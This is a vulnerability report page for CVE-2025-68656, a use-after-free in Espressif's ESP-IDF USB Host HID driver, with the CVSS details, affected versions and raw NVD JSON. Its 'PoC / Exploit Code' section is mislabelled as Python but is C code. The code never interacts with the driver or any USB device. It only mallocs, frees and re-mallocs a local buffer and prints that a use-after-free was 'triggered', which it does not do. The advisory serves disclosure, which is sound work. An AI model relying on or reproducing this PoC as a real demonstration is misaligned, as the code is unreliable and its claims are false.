Security Vulnerability Report
中文
CVE-2025-68656 CVSS 6.8 MEDIUM

CVE-2025-68656

Published: 2026-01-12 18:15:48
Last Modified: 2026-01-22 15:47:56

Description

Espressif ESP-IDF USB Host HID (Human Interface Device) Driver allows access to HID devices. Prior to 1.1.0, usb_class_request_get_descriptor() frees and reallocates hid_device->ctrl_xfer when an oversized descriptor is requested but continues to use the stale local pointer, leading to an immediate use-after-free when processing attacker-controlled Report Descriptor lengths. This vulnerability is fixed in 1.1.0.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:espressif:usb_host_hid_driver:*:*:*:*:*:*:*:* - VULNERABLE
Espressif ESP-IDF USB Host HID Driver < 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68656 PoC - Malicious USB HID Descriptor Trigger // This PoC demonstrates triggering the use-after-free in ESP-IDF USB Host HID Driver // Note: Requires physical access to USB port #include <stdio.h> #include <stdlib.h> #include <stdint.h> // Simulated USB HID Report Descriptor with oversized length typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint16_t wDescriptorLength; // Oversized value triggers realloc } __attribute__((packed)) HIDDescriptor; // Malicious HID Report Descriptor that triggers use-after-free const uint8_t malicious_hid_report_descriptor[] = { 0x05, 0x01, // Usage Page (Generic Desktop) 0x09, 0x06, // Usage (Keyboard) 0xA1, 0x01, // Collection (Application) // ... normal descriptor content ... }; // Function that simulates the vulnerable code pattern void trigger_usb_class_request_get_descriptor(void) { uint8_t* ctrl_xfer = malloc(64); // Original allocation printf("[*] Allocated ctrl_xfer at: %p\n", ctrl_xfer); // Simulate oversized descriptor request uint16_t malicious_length = 0xFFFF; // Oversized value // VULNERABLE CODE PATTERN: // 1. Free old buffer free(ctrl_xfer); printf("[!] Freed ctrl_xfer, pointer now stale\n"); // 2. Reallocate new buffer ctrl_xfer = malloc(malicious_length); printf("[*] Reallocated ctrl_xfer at: %p\n", ctrl_xfer); // 3. BUG: Continue using stale local pointer (use-after-free) // In real vulnerability, the stale pointer is used before being updated printf("[!] Use-after-free triggered with stale pointer\n"); } int main() { printf("=== CVE-2025-68656 PoC ===\n"); printf("Target: Espressif ESP-IDF USB Host HID Driver < 1.1.0\n"); printf("Vulnerability: Use-After-Free in usb_class_request_get_descriptor()\n\n"); trigger_usb_class_request_get_descriptor(); printf("\n[*] PoC execution completed\n"); printf("[*] In real scenario, this would cause memory corruption\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68656", "sourceIdentifier": "[email protected]", "published": "2026-01-12T18:15:48.467", "lastModified": "2026-01-22T15:47:56.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Espressif ESP-IDF USB Host HID (Human Interface Device) Driver allows access to HID devices. Prior to 1.1.0, usb_class_request_get_descriptor() frees and reallocates hid_device->ctrl_xfer when an oversized descriptor is requested but continues to use the stale local pointer, leading to an immediate use-after-free when processing attacker-controlled Report Descriptor lengths. This vulnerability is fixed in 1.1.0."}, {"lang": "es", "value": "El Controlador Espressif ESP-IDF USB Host HID (Human Interface Device) permite el acceso a dispositivos HID. Antes de la 1.1.0, usb_class_request_get_descriptor() libera y reasigna hid_device-&gt;ctrl_xfer cuando se solicita un descriptor de tamaño excesivo, pero continúa usando el puntero local obsoleto, lo que lleva a un uso después de liberación inmediato al procesar longitudes de descriptores de informe controladas por el atacante. Esta vulnerabilidad está corregida en la 1.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espressif:usb_host_hid_driver:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.0", "matchCriteriaId": "139CC02D-BC53-4537-B250-9AD6B260F309"}]}]}], "references": [{"url": "https://components.espressif.com/components/espressif/usb_host_hid/versions/1.1.0/changelog", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/espressif/esp-usb/commit/81b37c96593c0bec92ef14c6ee6bf8cab8d8f660", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-usb/security/advisories/GHSA-2pm2-62mr-c9x7", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}